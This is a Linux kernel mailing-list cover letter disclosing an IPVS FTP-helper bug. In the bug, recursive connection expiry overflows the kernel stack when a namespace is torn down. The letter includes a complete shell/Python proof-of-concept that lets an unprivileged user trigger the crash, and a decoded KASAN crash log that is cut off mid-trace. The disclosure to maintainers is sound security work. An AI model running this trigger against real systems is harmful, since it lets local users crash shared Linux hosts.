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From: Zihan Xi <zihanx@nebusec.ai>
To: horms@verge.net.au,
	ja@ssi.bg,
	pablo@netfilter.org,
	fw@strlen.de,
	davem@davemloft.net,
	edumazet@google.com,
	kuba@kernel.org,
	pabeni@redhat.com
Cc: zihanx@nebusec.ai,
	phil@nwl.cc,
	netdev@vger.kernel.org,
	lvs-devel@vger.kernel.org,
	netfilter-devel@vger.kernel.org,
	coreteam@netfilter.org,
	linux-kernel@vger.kernel.org,
	stable@vger.kernel.org
Subject: [PATCH nf 0/1] ipvs: avoid stack overflow from recursive connection expiration
Date: Sat, 12 Sep 2026 03:56:50 +0000
Message-ID: <cover.1789110326.git.zihanx@nebusec.ai>
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Hi Linux kernel maintainers,

We found and validated an issue triggered through
net/netfilter/ipvs/ip_vs_ftp.c. An unprivileged user can trigger it by
creating a user namespace and a network namespace. We tested the fix with
the same trigger. The change applies to the generic
ip_vs_conn_expire() control-chain cleanup path. For the reported trigger,
it only defers recursive controller expiration; testing showed no change to
other IPVS behavior.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

The trigger entry point is ip_vs_ftp_out() in
net/netfilter/ipvs/ip_vs_ftp.c. It parses an EPSV reply and creates a
wildcard data connection using the advertised port. If that port is 21,
ip_vs_conn_new() binds the new connection to the FTP helper a second time,
because 21 is the helper's control port. The connection has
IP_VS_CONN_F_NO_CPORT, so the next connection from the same client to the
VIP on port 21 matches the wildcard entry instead of creating a new
top-level entry. Repeating EPSV builds a chain of controlled connections.

The root cause is recursive cleanup in ip_vs_conn_expire(), implemented in
net/netfilter/ipvs/ip_vs_conn.c. During network namespace teardown,
cleanup_net invokes the IPVS connection cleanup path. When a leaf expires,
ip_vs_conn_expire() can synchronously expire its controller through
ip_vs_conn_del_put(). A long chain therefore causes recursive calls to
ip_vs_conn_expire() and exhausts the kernel stack.

The fix removes the old ip_vs_conn_del_put() helper. It sets the
controller's timeout to zero, expedites its pending timer with
ip_vs_conn_expire_now(), and drops the temporary reference. The timer
callback then cleans up one controller at a time instead of recursing
through the chain.

The trigger was run as an unprivileged user with:

    SELF_UNSHARE=1 MODE=exit ./poc.sh 200

The script runs unshare -Urn, configures loopback, and installs the IPVS
service through the legacy sockopt ABI. It then repeats the EPSV exchange.
The unpatched run printed "built 200 connections" before the namespace
exited. The kernel then produced the decoded KASAN report below. The fixed
run produced the same output and returned 0; its serial log had no BUG,
KASAN report, kernel panic, or stack-guard report.

The test ran in an x86 QEMU VM with 2 vCPUs and 2 GB of RAM.

Reproducer:

    SELF_UNSHARE=1 MODE=exit ./poc.sh 200

The PoC is a shell/Python script; no compilation is required.

We did not use packetdrill because this bug requires more than a packet
sequence. The PoC must create and destroy user and network namespaces,
configure an IPVS service through the legacy sockopt ABI, and run a
cooperating backend FTP server. A packetdrill script cannot express
the required namespace setup and teardown. The shell/Python PoC therefore
drives the full trigger.

------BEGIN poc.sh------
#!/bin/sh
set -eu

DEPTH="${1:-400}"
MODE="${MODE:-exit}"
SELF_UNSHARE="${SELF_UNSHARE:-0}"

if [ "${SELF_UNSHARE}" = "1" ] && [ -z "${POC_INNER:-}" ]; then
	exec env POC_INNER=1 MODE="${MODE}" SELF_UNSHARE=0 \
		unshare -Urn -- "$0" "${DEPTH}"
fi

ulimit -n 65535 2>/dev/null || true

IP=/usr/sbin/ip
PYTHON=/usr/bin/python3

VIP=198.51.100.1
REAL=198.51.100.2
CLIENT=198.51.100.3
PORT=21

"${IP}" link set lo up
"${IP}" addr add "${VIP}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${REAL}/32" dev lo 2>/dev/null || true
"${IP}" addr add "${CLIENT}/32" dev lo 2>/dev/null || true

exec "${PYTHON}" - "${DEPTH}" "${MODE}" "${VIP}" "${REAL}" "${CLIENT}" "${PORT}" <<'PY'
import ctypes
import os
import socket
import sys
import threading
import time

depth = int(sys.argv[1])
mode = sys.argv[2]
vip = sys.argv[3]
real = sys.argv[4]
client_ip = sys.argv[5]
port = int(sys.argv[6])

ready = threading.Event()
server_error = []
client_error = []
accepted = []
clients = []

IP_VS_BASE_CTL = 64 + 1024 + 64
IP_VS_SO_SET_ADD = IP_VS_BASE_CTL + 2
IP_VS_SO_SET_FLUSH = IP_VS_BASE_CTL + 5
IP_VS_SO_SET_ADDDEST = IP_VS_BASE_CTL + 7


class Svc(ctypes.Structure):
    _fields_ = [
        ("protocol", ctypes.c_uint16),
        ("addr", ctypes.c_uint32),
        ("port", ctypes.c_uint16),
        ("fwmark", ctypes.c_uint32),
        ("sched_name", ctypes.c_char * 16),
        ("flags", ctypes.c_uint),
        ("timeout", ctypes.c_uint),
        ("netmask", ctypes.c_uint32),
    ]


class Dest(ctypes.Structure):
    _fields_ = [
        ("addr", ctypes.c_uint32),
        ("port", ctypes.c_uint16),
        ("conn_flags", ctypes.c_uint),
        ("weight", ctypes.c_int),
        ("u_threshold", ctypes.c_uint32),
        ("l_threshold", ctypes.c_uint32),
    ]


def native_u32(ip):
    return int.from_bytes(socket.inet_aton(ip), sys.byteorder)


def ipvs_sock():
    return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)


def ipvs_flush():
    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_FLUSH, b"")
    finally:
        s.close()


def ipvs_add_service():
    svc = Svc()
    svc.protocol = socket.IPPROTO_TCP
    svc.addr = native_u32(vip)
    svc.port = socket.htons(port)
    svc.fwmark = 0
    svc.sched_name = b"rr"
    svc.flags = 0
    svc.timeout = 0
    svc.netmask = 0

    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADD, bytes(svc))
    finally:
        s.close()
    return svc


def ipvs_add_dest(svc):
    dest = Dest()
    dest.addr = native_u32(real)
    dest.port = socket.htons(port)
    dest.conn_flags = 0
    dest.weight = 1
    dest.u_threshold = 0
    dest.l_threshold = 0

    s = ipvs_sock()
    try:
        s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADDDEST, bytes(svc) + bytes(dest))
    finally:
        s.close()


def recv_line(sock):
    data = bytearray()
    while not data.endswith(b"\n"):
        chunk = sock.recv(1)
        if not chunk:
            raise RuntimeError("unexpected EOF")
        data.extend(chunk)
    return bytes(data)


def server():
    try:
        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        srv.bind((real, port))
        srv.listen(depth + 16)
        ready.set()
        for i in range(depth):
            conn, addr = srv.accept()
            conn.sendall(b"220 ready\r\n")
            line = recv_line(conn)
            if b"EPSV" not in line.upper():
                raise RuntimeError(f"unexpected request on level {i}: {line!r}")
            conn.sendall(b"229 Entering Extended Passive Mode (|||21|)\r\n")
            accepted.append(conn)
        while True:
            time.sleep(1)
    except BaseException as exc:
        server_error.append(repr(exc))
        ready.set()


try:
    try:
        ipvs_flush()
    except OSError:
        pass
    service = ipvs_add_service()
    ipvs_add_dest(service)
except OSError as exc:
    raise SystemExit(f"ipvs setup failed: {exc}")


threading.Thread(target=server, daemon=True).start()
ready.wait()
if server_error:
    raise SystemExit(f"server failed early: {server_error[0]}")

for i in range(depth):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((client_ip, 0))
        s.connect((vip, port))
        banner = recv_line(s)
        if not banner.startswith(b"220 "):
            raise RuntimeError(f"unexpected banner on level {i}: {banner!r}")
        s.sendall(b"EPSV\r\n")
        reply = recv_line(s)
        if b"229 " not in reply:
            raise RuntimeError(f"unexpected EPSV reply on level {i}: {reply!r}")
        clients.append(s)
        if (i + 1) % 50 == 0 or i + 1 == depth:
            print(f"built {i + 1} connections", flush=True)
    except BaseException as exc:
        client_error.append(repr(exc))
        break

if client_error:
    raise SystemExit(f"client failed: {client_error[0]}")
if server_error:
    raise SystemExit(f"server failed: {server_error[0]}")

try:
    with open("/proc/net/ip_vs_conn", "r", encoding="utf-8", errors="replace") as f:
        conn_lines = sum(1 for _ in f) - 1
except OSError:
    conn_lines = -1

print(f"ip_vs_conn entries before trigger: {conn_lines}", flush=True)

if mode == "hold":
    while True:
        time.sleep(1)
elif mode == "flush":
    ipvs_flush()
    print("IPVS flush returned", flush=True)
    while True:
        time.sleep(1)
elif mode == "exit":
    print("exiting namespace holder", flush=True)
    sys.stdout.flush()
    os._exit(0)
else:
    raise SystemExit(f"unknown MODE={mode!r}")
PY
------END poc.sh--------

The following is the output of scripts/decode_stacktrace.sh on the
actual serial log from the unpatched kernel.

----BEGIN crash log----
[   59.079238] BUG: KASAN: stack-out-of-bounds in __unwind_start (arch/x86/kernel/unwind_orc.c:715)
[   59.079269] Write of size 112 at addr ffff88800131fca8 by task kworker/u8:0/12
[   59.079271] 
[   59.079274] CPU: 0 UID: 0 PID: 12 Comm: kworker/u8:0 Not tainted 7.2.0-g506c8c29c5e7-dirty #2 PREEMPT(lazy) 
[   59.079277] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   59.079279] Workqueue: netns cleanup_net
[   59.079284] Call Trace:
[   59.079285]  <TASK>
[   59.079286]  ? kasan_record_aux_stack (mm/kasan/generic.c:556)
[   59.079291]  ? __call_rcu_common.constprop.0 (kernel/rcu/tree.c:3181)
[   59.079295]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1403)
[   59.079298]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079300]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079303]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079305]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079307]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079310]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079312]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079314]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079316]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079318]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079321]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079323]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079325]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079327]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079330]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079332]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079334]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079336]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079338]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079341]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079343]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079345]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079347]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079350]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079352]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079354]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079356]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079358]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079361]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079363]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079365]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079367]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079370]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079372]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079374]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079376]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079378]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079381]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079383]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079385]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079387]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079390]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079392]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079394]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079396]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079399]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079401]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079403]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079405]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079415]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079417]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079420]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079422]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079424]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079426]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079429]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079431]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079433]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079435]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079437]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079440]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079442]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079444]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079446]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079449]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079451]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079453]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079455]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079457]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079460]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079462]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079464]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079466]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079469]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079471]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079473]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079475]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079477]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079480]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079482]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079484]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079486]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079489]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079491]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079493]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079495]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079497]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079500]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079502]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079504]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079506]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079509]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079511]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079513]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079515]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079517]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079520]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079522]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079524]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079526]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079529]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079531]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079533]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079535]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079537]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079540]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079542]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079544]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079546]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079549]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079551]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079553]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079555]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079557]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079560]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079562]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079564]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079566]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079569]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079571]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079573]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079575]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079577]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079580]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079582]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079584]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079586]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079589]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079591]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079593]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079595]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079598]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079600]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079602]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079604]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079606]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079609]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079611]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079613]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079615]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079618]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079620]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079622]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079624]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079626]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079629]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079631]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079633]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.079635]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.079638]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
